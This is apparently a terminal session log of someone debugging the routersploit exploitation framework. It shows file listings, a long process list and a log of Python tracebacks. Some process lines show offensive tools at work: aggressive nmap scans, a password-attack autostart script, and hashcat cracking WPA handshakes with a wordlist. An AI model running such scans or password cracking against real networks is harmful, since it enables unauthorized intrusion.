-rw-r--r-- 1 root root 5797 Dec 13 10:31 payloads.pyc
-rw-r--r-- 1 root root 618 Dec 13 10:15 printer.py
-rw-r--r-- 1 root root 1172 Dec 13 10:31 printer.pyc
-rw-r--r-- 1 root root 12397 Dec 13 10:15 shell.py
-rw-r--r-- 1 root root 10669 Dec 13 10:31 shell.pyc
drwxr-xr-x 2 root root 4096 Dec 13 10:15 templates
-rw-r--r-- 1 root root 2457 Dec 13 10:15 threads.py
-rw-r--r-- 1 root root 3417 Dec 13 10:58 threads.pyc
drwxr-xr-x 2 root root 4096 Dec 13 10:31 utils
-rw-r--r-- 1 root root 2725 Dec 13 10:15 validators.py
-rw-r--r-- 1 root root 3328 Dec 13 10:31 validators.pyc
drwxr-xr-x 2 root root 4096 Dec 13 10:31 wordlists
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# atom shell.py
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# ls
exceptions.py exploits.pyc interpreter.py payloads.py printer.pyc templates utils wordlists
exceptions.pyc __init__.py interpreter.pyc payloads.pyc shell.py threads.py validators.py
exploits.py __init__.pyc modules printer.py shell.pyc threads.pyc validators.pyc
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# python shell.py
Traceback (most recent call last):
File "shell.py", line 12, in <module>
from routersploit import validators
ImportError: No module named routersploit
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# python shell.py
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 220016 8588 ? Ss 05:49 0:04 /sbin/init
root 2 0.0 0.0 0 0 ? S 05:49 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 05:49 0:00 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S< 05:49 0:00 [kworker/0:0H]
root 7 0.0 0.0 0 0 ? S 05:49 0:02 [rcu_sched]
root 8 0.0 0.0 0 0 ? S 05:49 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S 05:49 0:00 [migration/0]
root 10 0.0 0.0 0 0 ? S< 05:49 0:00 [lru-add-drain]
root 11 0.0 0.0 0 0 ? S 05:49 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 05:49 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S 05:49 0:00 [cpuhp/1]
root 14 0.0 0.0 0 0 ? S 05:49 0:00 [watchdog/1]
root 15 0.0 0.0 0 0 ? S 05:49 0:00 [migration/1]
root 16 0.0 0.0 0 0 ? S 05:49 0:00 [ksoftirqd/1]
root 18 0.0 0.0 0 0 ? S< 05:49 0:00 [kworker/1:0H]
root 19 0.0 0.0 0 0 ? S 05:49 0:00 [cpuhp/2]
root 20 0.0 0.0 0 0 ? S 05:49 0:00 [watchdog/2]
root 21 0.0 0.0 0 0 ? S 05:49 0:00 [migration/2]
root 22 0.0 0.0 0 0 ? S 05:49 0:00 [ksoftirqd/2]
root 24 0.0 0.0 0 0 ? S< 05:49 0:00 [kworker/2:0H]
root 25 0.0 0.0 0 0 ? S 05:49 0:00 [cpuhp/3]
root 26 0.0 0.0 0 0 ? S 05:49 0:00 [watchdog/3]
root 27 0.0 0.0 0 0 ? S 05:49 0:00 [migration/3]
root 28 0.0 0.0 0 0 ? S 05:49 0:00 [ksoftirqd/3]
root 30 0.0 0.0 0 0 ? S< 05:49 0:00 [kworker/3:0H]
root 31 0.0 0.0 0 0 ? S 05:49 0:00 [kdevtmpfs]
root 32 0.0 0.0 0 0 ? S< 05:49 0:00 [netns]
root 33 0.0 0.0 0 0 ? S 05:49 0:00 [khungtaskd]
root 34 0.0 0.0 0 0 ? S 05:49 0:00 [oom_reaper]
root 35 0.0 0.0 0 0 ? S< 05:49 0:00 [writeback]
root 36 0.0 0.0 0 0 ? S 05:49 0:00 [kcompactd0]
root 38 0.0 0.0 0 0 ? SN 05:49 0:00 [ksmd]
root 39 0.0 0.0 0 0 ? SN 05:49 0:00 [khugepaged]
root 40 0.0 0.0 0 0 ? S< 05:49 0:00 [crypto]
root 41 0.0 0.0 0 0 ? S< 05:49 0:00 [kintegrityd]
root 42 0.0 0.0 0 0 ? S< 05:49 0:00 [bioset]
root 43 0.0 0.0 0 0 ? S< 05:49 0:00 [kblockd]
root 47 0.0 0.0 0 0 ? S< 05:49 0:00 [devfreq_wq]
root 48 0.0 0.0 0 0 ? S< 05:49 0:00 [watchdogd]
root 49 0.0 0.0 0 0 ? S 05:49 0:00 [kswapd0]
root 50 0.0 0.0 0 0 ? S< 05:49 0:00 [vmstat]
root 62 0.0 0.0 0 0 ? S< 05:49 0:00 [kthrotld]
root 63 0.0 0.0 0 0 ? S< 05:49 0:00 [ipv6_addrconf]
root 109 0.0 0.0 0 0 ? S< 05:49 0:00 [acpi_thermal_pm]
root 111 0.0 0.0 0 0 ? S< 05:49 0:00 [ata_sff]
root 152 0.0 0.0 0 0 ? S 05:49 0:00 [scsi_eh_0]
root 153 0.0 0.0 0 0 ? S< 05:49 0:00 [scsi_tmf_0]
root 154 0.0 0.0 0 0 ? S 05:49 0:00 [scsi_eh_1]
root 155 0.0 0.0 0 0 ? S< 05:49 0:00 [scsi_tmf_1]
root 156 0.0 0.0 0 0 ? S 05:49 0:00 [scsi_eh_2]
root 157 0.0 0.0 0 0 ? S< 05:49 0:00 [scsi_tmf_2]
root 158 0.0 0.0 0 0 ? S 05:49 0:00 [scsi_eh_3]
root 159 0.0 0.0 0 0 ? S< 05:49 0:00 [scsi_tmf_3]
root 160 0.0 0.0 0 0 ? S 05:49 0:00 [scsi_eh_4]
root 161 0.0 0.0 0 0 ? S< 05:49 0:00 [scsi_tmf_4]
root 162 0.0 0.0 0 0 ? S 05:49 0:00 [scsi_eh_5]
root 163 0.0 0.0 0 0 ? S< 05:49 0:00 [scsi_tmf_5]
root 171 0.0 0.0 0 0 ? S< 05:49 0:00 [bioset]
root 172 0.0 0.0 0 0 ? S< 05:49 0:00 [bioset]
root 173 0.0 0.0 0 0 ? S< 05:49 0:00 [bioset]
root 174 0.0 0.0 0 0 ? S< 05:49 0:00 [bioset]
root 176 0.0 0.0 0 0 ? S< 05:49 0:00 [kworker/0:1H]
root 180 0.0 0.0 0 0 ? S< 05:49 0:00 [kworker/2:1H]
root 181 0.0 0.0 0 0 ? S< 05:49 0:00 [kworker/3:1H]
root 182 0.0 0.0 0 0 ? S< 05:49 0:00 [kworker/1:1H]
root 187 0.0 0.0 0 0 ? S< 05:49 0:00 [md]
root 209 0.0 0.0 0 0 ? S< 05:49 0:00 [raid5wq]
root 226 0.0 0.0 0 0 ? S< 05:49 0:00 [bioset]
root 265 0.0 0.0 0 0 ? S< 05:49 0:00 [ext4-rsv-conver]
root 312 0.0 0.0 81684 10600 ? Ss 05:49 0:00 /lib/systemd/systemd-journald
root 317 0.0 0.0 0 0 ? S 05:49 0:00 [kauditd]
root 357 0.0 0.0 0 0 ? S 05:49 0:00 [nvidia-modeset]
root 360 0.0 0.0 46012 5316 ? Ss 05:49 0:00 /lib/systemd/systemd-udevd
root 394 0.0 0.0 0 0 ? S< 05:49 0:00 [edac-poller]
root 401 0.0 0.0 0 0 ? S 05:49 0:00 [irq/31-mei_me]
systemd+ 444 0.0 0.0 147096 5156 ? Ssl 05:49 0:00 /lib/systemd/systemd-timesyncd
root 578 0.0 0.0 0 0 ? S 05:49 0:00 [scsi_eh_6]
root 579 0.0 0.0 0 0 ? S< 05:49 0:00 [scsi_tmf_6]
root 580 0.0 0.0 0 0 ? S 05:49 0:00 [usb-storage]
root 599 0.0 0.0 0 0 ? S< 05:49 0:00 [bioset]
root 645 0.0 0.0 29624 2928 ? Ss 05:49 0:00 /usr/sbin/cron -f
root 646 0.0 0.0 427140 9064 ? Ssl 05:49 0:00 /usr/sbin/ModemManager
root 649 0.0 0.0 25336 4608 ? Ss 05:49 0:00 /usr/sbin/smartd -n
root 654 0.0 0.0 116156 3388 ? Ssl 05:49 0:00 /usr/sbin/irqbalance --foreground
root 655 0.0 0.0 275496 4004 ? Ssl 05:49 0:00 /usr/sbin/rsyslogd -n
message+ 656 0.0 0.0 48772 5356 ? Ss 05:49 0:03 /usr/bin/dbus-daemon --system --address=systemd: --nofork --no
root 662 0.0 0.0 50912 2976 ? S 05:49 0:00 /usr/sbin/CRON -f
root 667 0.0 0.0 50912 2960 ? S 05:49 0:00 /usr/sbin/CRON -f
root 679 0.0 0.1 454332 15496 ? Ssl 05:49 0:00 /usr/sbin/NetworkManager --no-daemon
root 681 0.0 0.0 65236 5724 ? Ss 05:49 0:00 /lib/systemd/systemd-logind
root 682 0.0 0.0 285712 6608 ? Ssl 05:49 0:00 /usr/lib/accountsservice/accounts-daemon
rtkit 684 0.0 0.0 187832 3024 ? SNsl 05:49 0:00 /usr/lib/rtkit/rtkit-daemon
root 699 0.0 0.0 290228 8484 ? Ssl 05:49 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 712 0.0 0.0 4312 760 ? Ss 05:49 0:00 /bin/sh -c python /root/ArmsCommander/passwordattacks/autostar
root 725 0.0 0.0 4312 740 ? Ss 05:49 0:00 /bin/sh -c /bin/sh /usr/local/bin/IDS.sh
root 726 0.0 0.0 32088 9892 ? S 05:49 0:00 python /root/ArmsCommander/passwordattacks/autostart_password_
root 732 0.0 0.0 4312 772 ? S 05:49 0:00 /bin/sh /usr/local/bin/IDS.sh
root 775 0.0 0.0 8500 1564 ? Ss 05:49 0:00 nvidia-persistenced --persistence-mode
root 778 0.7 0.0 0 0 ? S 05:49 3:16 [irq/33-nvidia]
root 779 0.0 0.0 0 0 ? S 05:49 0:00 [nvidia]
pulse 825 0.0 0.0 357068 11264 ? S<l 05:49 0:00 pulseaudio -D --system
root 836 0.0 0.0 19872 9060 ? Ss 05:49 0:00 /sbin/mount.ntfs /dev/sda2 /mnt/Data2 -o rw
root 840 0.0 0.1 190896 14508 ? S 05:49 0:06 /usr/bin/python -O /usr/share/wicd/daemon/wicd-daemon.py --kee
root 842 0.0 0.0 13300 2648 ? Ss 05:49 0:00 /sbin/mount.ntfs /dev/sdb2 /mnt/Data3 -o rw
root 858 0.0 0.1 111348 17848 ? S 05:49 0:02 /usr/bin/python -O /usr/share/wicd/daemon/monitor.py
root 900 0.0 0.0 13052 2388 ? Ss 05:49 0:00 /sbin/mount.ntfs /dev/sdc1 /mnt/Data4 -o rw
root 909 0.0 0.0 0 0 ? S< 05:49 0:00 [iprt-VBoxWQueue]
root 921 0.0 0.0 0 0 ? S 05:49 0:00 [iprt-VBoxTscThr]
root 942 0.0 0.0 20484 1040 ? Ss 05:49 0:00 dhclient eth0
root 951 0.0 0.0 71996 5564 ? Ss 05:49 0:00 /usr/sbin/sshd -D
root 962 0.0 0.0 371556 7600 ? Ssl 05:49 0:00 /usr/sbin/gdm3
root 984 0.0 0.0 243928 7564 ? Sl 05:49 0:00 gdm-session-worker [pam/gdm-launch-environment]
Debian-+ 1019 0.0 0.0 80020 7988 ? Ss 05:49 0:00 /lib/systemd/systemd --user
Debian-+ 1020 0.0 0.0 102172 2384 ? S 05:49 0:00 (sd-pam)
root 1039 0.0 0.0 0 0 ? S 05:49 0:00 [UVM global queu]
root 1041 0.0 0.0 0 0 ? S 05:49 0:00 [UVM Tools Event]
Debian-+ 1062 0.0 0.0 203236 5324 tty1 Ssl+ 05:49 0:00 /usr/lib/gdm3/gdm-x-session gnome-session --autostart /usr/sha
root 1073 0.0 0.4 267228 49324 tty1 Sl+ 05:49 0:01 /usr/lib/xorg/Xorg vt1 -displayfd 3 -auth /run/user/132/gdm/Xa
Debian-+ 1175 0.0 0.0 47336 4032 ? Ss 05:49 0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --n
Debian-+ 1177 0.0 0.1 553208 12440 tty1 Sl+ 05:49 0:00 /usr/lib/gnome-session/gnome-session-binary --autostart /usr/s
Debian-+ 1183 0.0 0.0 355200 6228 ? Ssl 05:49 0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher
Debian-+ 1188 0.0 0.0 47116 3488 ? S 05:49 0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2
Debian-+ 1191 0.0 0.0 222348 5312 ? Sl 05:49 0:00 /usr/lib/at-spi2-core/at-spi2-registryd --use-gnome-session
Debian-+ 1200 0.0 1.3 2274720 159764 tty1 Sl+ 05:49 0:03 /usr/bin/gnome-shell
root 1204 0.0 0.0 313532 8516 ? Ssl 05:49 0:00 /usr/lib/upower/upowerd
Debian-+ 1236 0.0 0.0 1229632 11912 ? Ssl 05:49 0:00 /usr/bin/pulseaudio --daemonize=no
root 1248 0.0 0.2 444476 31020 ? Ssl 05:50 0:02 /usr/lib/packagekit/packagekitd
Debian-+ 1249 0.0 0.2 1025836 29760 tty1 Sl+ 05:50 0:00 /usr/lib/gnome-settings-daemon/gnome-settings-daemon
root 1263 0.0 0.0 48328 5132 ? Ss 05:50 0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
colord 1269 0.0 0.1 317520 13508 ? Ssl 05:50 0:00 /usr/lib/colord/colord
root 1400 0.0 0.0 4312 1648 ? S 05:54 0:00 /bin/sh /root/Desktop/external_scans_njp_dnac/edit_2__bash_scr
root 1401 0.0 0.0 4312 1632 ? S 05:54 0:00 /bin/sh /root/Desktop/external_scans_njp_dnac/nmap_ssl_detecti
root 1434 0.0 1.4 594104 179572 ? Sl 05:54 0:03 snort -q -A full -c /etc/snort/snort.conf
postgres 1508 0.0 0.1 276848 24164 ? S 05:54 0:00 /usr/lib/postgresql/9.5/bin/postgres -D /var/lib/postgresql/9.
postgres 1511 0.0 0.2 293676 25356 ? S 05:54 0:00 /usr/lib/postgresql/9.6/bin/postgres -D /var/lib/postgresql/9.
postgres 1523 0.0 0.0 293676 3976 ? Ss 05:54 0:00 postgres: 9.6/main: checkpointer process
postgres 1524 0.0 0.0 293676 3976 ? Ss 05:54 0:00 postgres: 9.6/main: writer process
postgres 1525 0.0 0.0 293676 3976 ? Ss 05:54 0:00 postgres: 9.6/main: wal writer process
postgres 1526 0.0 0.0 294104 6396 ? Ss 05:54 0:00 postgres: 9.6/main: autovacuum launcher process
postgres 1527 0.0 0.0 148676 3172 ? Ss 05:54 0:00 postgres: 9.6/main: stats collector process
postgres 1534 0.0 0.0 276948 10940 ? Ss 05:54 0:00 postgres: 9.5/main: checkpointer process
postgres 1535 0.0 0.0 276848 6196 ? Ss 05:54 0:00 postgres: 9.5/main: writer process
postgres 1536 0.0 0.0 276848 9544 ? Ss 05:54 0:00 postgres: 9.5/main: wal writer process
postgres 1537 0.0 0.0 277280 6780 ? Ss 05:54 0:00 postgres: 9.5/main: autovacuum launcher process
postgres 1538 0.0 0.0 132004 4860 ? Ss 05:54 0:00 postgres: 9.5/main: stats collector process
root 4164 0.0 0.0 248052 7768 ? Sl 05:59 0:00 gdm-session-worker [pam/gdm-password]
root 4169 0.0 0.0 71576 7748 ? Ss 05:59 0:00 /lib/systemd/systemd --user
root 4170 0.0 0.0 249636 2424 ? S 05:59 0:00 (sd-pam)
root 4177 0.0 0.0 287764 7876 ? Sl 05:59 0:00 /usr/bin/gnome-keyring-daemon --daemonize --login
root 4181 0.0 0.0 203236 5464 tty2 Ssl+ 05:59 0:00 /usr/lib/gdm3/gdm-x-session --run-script default
root 4183 0.6 0.6 315908 73964 tty2 Sl+ 05:59 2:49 /usr/lib/xorg/Xorg vt2 -displayfd 3 -auth /run/user/0/gdm/Xaut
root 4187 0.0 0.0 48112 5004 ? Ss 05:59 0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --n
root 4189 0.0 0.1 774704 13264 tty2 Sl+ 05:59 0:00 /usr/lib/gnome-session/gnome-session-binary
root 4244 0.0 0.0 11100 332 ? Ss 05:59 0:00 /usr/bin/ssh-agent x-session-manager
root 4251 0.0 0.0 355208 6404 ? Ssl 05:59 0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher
root 4256 0.0 0.0 47240 3908 ? S 05:59 0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2
root 4259 0.0 0.0 222348 6844 ? Sl 05:59 0:02 /usr/lib/at-spi2-core/at-spi2-registryd --use-gnome-session
root 4276 1.2 4.2 3012136 523172 tty2 Sl+ 05:59 5:04 /usr/bin/gnome-shell
root 4279 0.0 0.0 285212 6796 ? Ssl 05:59 0:00 /usr/lib/gvfs/gvfsd
root 4284 0.0 0.0 417780 5472 ? Sl 05:59 0:00 /usr/lib/gvfs/gvfsd-fuse /run/user/0/gvfs -f -o big_writes
root 4294 0.0 0.1 2284756 13428 ? S<sl 05:59 0:01 /usr/bin/pulseaudio --daemonize=no
root 4301 0.0 0.1 615016 15260 ? Sl 05:59 0:00 /usr/lib/gnome-shell/gnome-shell-calendar-server
root 4312 0.0 0.1 1229040 21172 ? Ssl 05:59 0:00 /usr/lib/evolution/evolution-source-registry
root 4317 0.0 0.0 468280 11700 ? Ssl 05:59 0:00 /usr/lib/telepathy/mission-control-5
root 4322 0.0 0.2 769136 33164 ? Sl 05:59 0:00 /usr/lib/gnome-online-accounts/goa-daemon
root 4324 0.0 0.0 359628 11140 ? Ssl 05:59 0:00 /usr/lib/gvfs/gvfs-udisks2-volume-monitor
root 4328 0.0 0.0 380244 8420 ? Ssl 05:59 0:06 /usr/lib/udisks2/udisksd --no-debug
root 4335 0.0 0.0 269568 5936 ? Ssl 05:59 0:00 /usr/lib/gvfs/gvfs-goa-volume-monitor
root 4348 0.0 0.0 370416 7452 ? Sl 05:59 0:00 /usr/lib/gnome-online-accounts/goa-identity-service
root 4357 0.0 0.0 271368 5204 ? Ssl 05:59 0:00 /usr/lib/gvfs/gvfs-mtp-volume-monitor
root 4361 0.0 0.0 374324 7344 ? Ssl 05:59 0:00 /usr/lib/gvfs/gvfs-afc-volume-monitor
root 4366 0.0 0.0 283740 6240 ? Ssl 05:59 0:00 /usr/lib/gvfs/gvfs-gphoto2-volume-monitor
root 4372 0.0 0.3 1501824 40612 tty2 Sl+ 05:59 0:01 /usr/lib/gnome-settings-daemon/gnome-settings-daemon
root 4383 0.0 0.0 187504 4868 ? Sl 05:59 0:00 /usr/lib/dconf/dconf-service
root 4402 0.0 0.0 442468 11988 tty2 SNl+ 05:59 0:00 /usr/lib/tracker/tracker-miner-apps
root 4406 0.0 0.0 503548 11800 tty2 Sl+ 05:59 0:00 /usr/lib/gnome-settings-daemon/gsd-printer
root 4407 0.0 0.2 896700 25800 tty2 SNl+ 05:59 0:01 /usr/lib/tracker/tracker-extract
root 4413 0.0 0.2 697632 34676 tty2 Sl+ 05:59 0:08 psensor
root 4420 0.0 0.0 426144 8036 ? Ssl 05:59 0:00 /usr/bin/zeitgeist-daemon
root 4428 0.0 0.1 441384 18492 ? Sl 05:59 0:00 zeitgeist-datahub
root 4432 0.0 0.0 341280 12172 tty2 SNl+ 05:59 0:00 /usr/lib/tracker/tracker-miner-user-guides
root 4433 0.0 0.8 936708 109568 tty2 Sl+ 05:59 0:02 /usr/bin/gnome-software --gapplication-service
root 4434 0.0 0.3 398160 38368 tty2 Sl+ 05:59 0:00 /usr/bin/python -O /usr/share/wicd/gtk/wicd-client.py --tray
root 4435 0.0 0.1 329128 16240 ? Ssl 05:59 0:00 /usr/lib/zeitgeist/zeitgeist/zeitgeist-fts
root 4448 0.0 0.3 1252228 41124 tty2 Sl+ 05:59 0:01 nautilus-desktop
root 4455 0.0 0.2 838396 32404 ? Ssl 05:59 0:00 /usr/lib/evolution/evolution-calendar-factory
root 4469 0.0 0.5 472696 62988 ? Ssl 05:59 0:00 /usr/lib/tracker/tracker-store
root 4490 0.0 0.0 361372 6760 ? Sl 06:00 0:00 /usr/lib/gvfs/gvfsd-trash --spawner :1.17 /org/gtk/gvfs/exec_s
root 4528 0.0 0.1 874164 24140 ? Sl 06:00 0:00 /usr/lib/evolution/evolution-calendar-factory-subprocess --fac
root 4538 0.0 0.1 711224 20136 ? Sl 06:00 0:00 /usr/lib/evolution/evolution-calendar-factory-subprocess --fac
root 4543 0.0 0.1 707516 22508 ? Ssl 06:00 0:00 /usr/lib/evolution/evolution-addressbook-factory
root 4556 0.0 0.1 847816 22520 ? Sl 06:00 0:00 /usr/lib/evolution/evolution-addressbook-factory-subprocess --
root 4592 0.0 0.0 195860 5904 ? Ssl 06:00 0:00 /usr/lib/gvfs/gvfsd-metadata
root 4706 0.0 0.0 73248 5680 ? S 06:00 0:00 /usr/lib/x86_64-linux-gnu/gconf/gconfd-2
root 12661 0.0 0.4 97744 50384 ? S 09:21 0:03 nmap -sV --version-all -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA
root 14894 0.0 0.0 4312 756 ? S 10:05 0:00 /bin/sh /root/Desktop/external_scans_njp_dnac/edit_2__bash_scr
root 14895 0.0 0.0 4312 760 ? S 10:05 0:00 /bin/sh /root/Desktop/external_scans_njp_dnac/nmap_ssl_detecti
root 14925 0.0 0.0 0 0 ? S 10:05 0:00 [kworker/0:1]
debian-+ 16497 0.0 0.3 95956 46616 ? Ss 10:06 0:03 /usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defau
root 17557 0.0 0.4 98292 51092 ? S 10:11 0:03 nmap -sV --version-all -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA
root 17606 0.0 0.0 0 0 ? S 10:12 0:00 [kworker/2:1]
root 18365 0.0 0.0 20484 4344 ? S 10:14 0:00 /sbin/dhclient -d -q -sf /usr/lib/NetworkManager/nm-dhcp-helpe
root 18366 0.0 0.0 20488 4492 ? S 10:14 0:00 /sbin/dhclient -d -q -6 -N -sf /usr/lib/NetworkManager/nm-dhcp
root 18649 0.0 0.4 98528 51184 ? S 10:16 0:02 nmap -sV --version-all -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA
root 18927 0.0 0.0 0 0 ? S 10:21 0:00 [kworker/2:0]
root 20617 0.0 0.0 355524 10588 ? Sl 10:58 0:00 /usr/lib/gvfs/gvfsd-http --spawner :1.17 /org/gtk/gvfs/exec_sp
root 21636 0.1 0.3 674912 45324 ? Rsl 11:16 0:06 /usr/lib/gnome-terminal/gnome-terminal-server
root 21685 0.0 0.0 19904 3748 pts/0 Ss 11:16 0:00 bash
root 21731 0.0 0.0 11196 1852 ? S 11:17 0:00 /bin/bash /usr/bin/atom automated_routersploit.py
root 21733 0.7 1.8 1701044 229200 ? Sl 11:17 0:46 /usr/share/atom/atom --executed-from=/root/Desktop/projects --
root 21735 0.0 0.2 386384 31508 ? S 11:17 0:00 /usr/share/atom/atom --type=zygote --no-sandbox
root 21752 0.7 1.2 618452 157900 ? Sl 11:17 0:45 /usr/share/atom/atom --type=gpu-process --channel=21733.0.1796
root 21766 4.5 2.9 2677712 358404 ? SLl 11:17 4:26 /usr/share/atom/atom --type=renderer --no-sandbox --primordial
root 21798 0.0 1.4 1037400 175488 ? Sl 11:17 0:00 /usr/share/atom/atom --eval CompileCache = require('/usr/share
root 21860 0.0 1.5 1125292 191380 ? Sl 11:17 0:01 /usr/share/atom/atom --type=renderer --no-sandbox --primordial
root 22657 0.0 0.4 98168 51076 ? S 11:38 0:02 nmap -sV --version-all -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA
root 22727 0.9 1.3 1300788 170308 tty2 SLl+ 11:38 0:45 /usr/lib/x86_64-linux-gnu/opera/opera
root 22732 0.0 0.0 6372 764 tty2 S+ 11:38 0:00 /usr/lib/x86_64-linux-gnu/opera/opera_sandbox /usr/lib/x86_64-
root 22733 0.0 0.2 414796 28468 tty2 S+ 11:38 0:00 /usr/lib/x86_64-linux-gnu/opera/opera --type=zygote
root 22735 0.0 0.0 414796 6836 tty2 S+ 11:38 0:00 /usr/lib/x86_64-linux-gnu/opera/opera --type=zygote
root 22770 0.3 1.5 631396 184436 tty2 Sl+ 11:38 0:14 /usr/lib/x86_64-linux-gnu/opera/opera --type=gpu-process --fie
root 22815 0.0 0.1 449624 16872 tty2 S+ 11:38 0:00 /usr/lib/x86_64-linux-gnu/opera/opera --type=gpu-broker
root 22837 0.0 0.8 903308 99284 tty2 Sl+ 11:38 0:02 /usr/lib/x86_64-linux-gnu/opera/opera --type=renderer --field-
root 22869 0.4 1.5 1030196 188436 tty2 Sl+ 11:38 0:22 /usr/lib/x86_64-linux-gnu/opera/opera --type=renderer --field-
root 22874 0.0 0.8 867616 108284 tty2 Sl+ 11:38 0:01 /usr/lib/x86_64-linux-gnu/opera/opera --type=renderer --field-
root 22958 0.3 0.5 793020 70780 tty2 Sl+ 11:39 0:14 /usr/lib/x86_64-linux-gnu/opera/opera --type=renderer --field-
root 22981 0.0 0.8 897684 106020 tty2 Sl+ 11:39 0:01 /usr/lib/x86_64-linux-gnu/opera/opera --type=renderer --field-
root 23709 0.0 0.0 0 0 ? S 12:04 0:00 [kworker/0:2]
root 23710 0.0 0.0 0 0 ? S 12:04 0:01 [kworker/1:1]
root 23801 0.0 0.0 0 0 ? S 12:04 0:00 [kworker/3:1]
root 25827 0.0 0.2 152444 30960 pts/0 Sl+ 12:30 0:00 python rsf.py
root 25835 0.0 0.0 19904 3744 pts/2 Ss 12:30 0:00 bash
root 25838 0.1 0.2 78772 31192 pts/2 T 12:30 0:02 python
root 25883 0.3 0.0 0 0 ? S 12:32 0:04 [kworker/1:3]
root 26038 0.0 0.0 0 0 ? S 12:35 0:00 [kworker/u8:2]
root 26117 2.5 0.2 78772 31284 pts/2 T 12:38 0:24 python
root 26142 0.0 0.9 850144 121776 tty2 Sl+ 12:38 0:00 /usr/lib/x86_64-linux-gnu/opera/opera --type=renderer --field-
root 26188 0.0 0.0 19908 3740 pts/3 Ss 12:40 0:00 bash
root 26262 0.0 0.0 0 0 ? S 12:43 0:00 [kworker/u8:0]
root 26321 0.0 0.0 4312 772 ? S 12:45 0:00 sh -c /usr/local/bin/pp64.bin /root/Documents/wifi_cracking_wo
root 26322 0.5 1.5 189684 186780 ? S 12:45 0:02 /usr/local/bin/pp64.bin /root/Documents/wifi_cracking_wordlist
root 26323 39.5 2.1 14749888 266600 ? Sl 12:45 3:36 hashcat -a 0 -w 4 -m 2500 /root/ArmsCommander/logs/HashCat/has
root 26324 0.0 0.0 0 0 ? S 12:45 0:00 [UVM GPU1 BH]
root 26361 0.0 0.0 0 0 ? S 12:46 0:00 [kworker/3:0]
root 26427 0.2 0.9 913408 111736 tty2 Sl+ 12:48 0:00 /usr/lib/x86_64-linux-gnu/opera/opera --type=renderer --field-
root 26509 0.0 0.2 78516 30724 pts/2 S+ 12:49 0:00 python
root 26631 0.0 0.0 0 0 ? S 12:51 0:00 [kworker/3:2]
root 26773 0.0 0.0 40320 3264 pts/3 R+ 12:54 0:00 ps aux
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# cd /root/Documents/routersploit/
root@CRACK_COCAINE:~/Documents/routersploit# ls
CONTRIBUTING.md LICENSE README.md requirements.txt routersploit.log tests
Dockerfile Makefile requirements-dev.txt routersploit rsf.py
root@CRACK_COCAINE:~/Documents/routersploit# cat routersploit.log
2017-12-13 10:58:29,120 ERROR routersploit.exceptions Error during loading 'routersploit/modules/scanners/autopwn'
Error: 'module' object has no attribute 'optionsParser'
It should be valid path to the module. Use <tab> key multiple times for completion.
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/utils/__init__.py", line 66, in import_exploit
module = importlib.import_module(path)
File "/usr/lib/python2.7/importlib/__init__.py", line 37, in import_module
__import__(name)
File "/root/Documents/routersploit/routersploit/modules/scanners/autopwn.py", line 103, in <module>
main()
File "/root/Documents/routersploit/routersploit/modules/scanners/autopwn.py", line 92, in main
parser = optparse.optionsParser('usage %parser -r <manual control> -a full auto')
AttributeError: 'module' object has no attribute 'optionsParser'
2017-12-13 10:59:03,109 ERROR routersploit.exceptions Unknown command: 'options'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_options'
2017-12-13 10:59:45,547 ERROR routersploit.exceptions Unknown command: 'shpw'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_shpw'
2017-12-13 11:07:26,917 ERROR routersploit.exceptions Unknown command: 'jobs'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_jobs'
2017-12-13 12:43:21,542 ERROR routersploit.exceptions Unknown command: 'hrelep'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_hrelep'
2017-12-13 12:54:46,998 ERROR routersploit.exceptions Unknown command: 'shell'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_shell'
2017-12-13 12:54:51,933 ERROR routersploit.exceptions Unknown command: 'shell('')'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_shell('')'
2017-12-13 12:55:16,471 ERROR routersploit.exceptions Unknown command: '-v'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_-v'
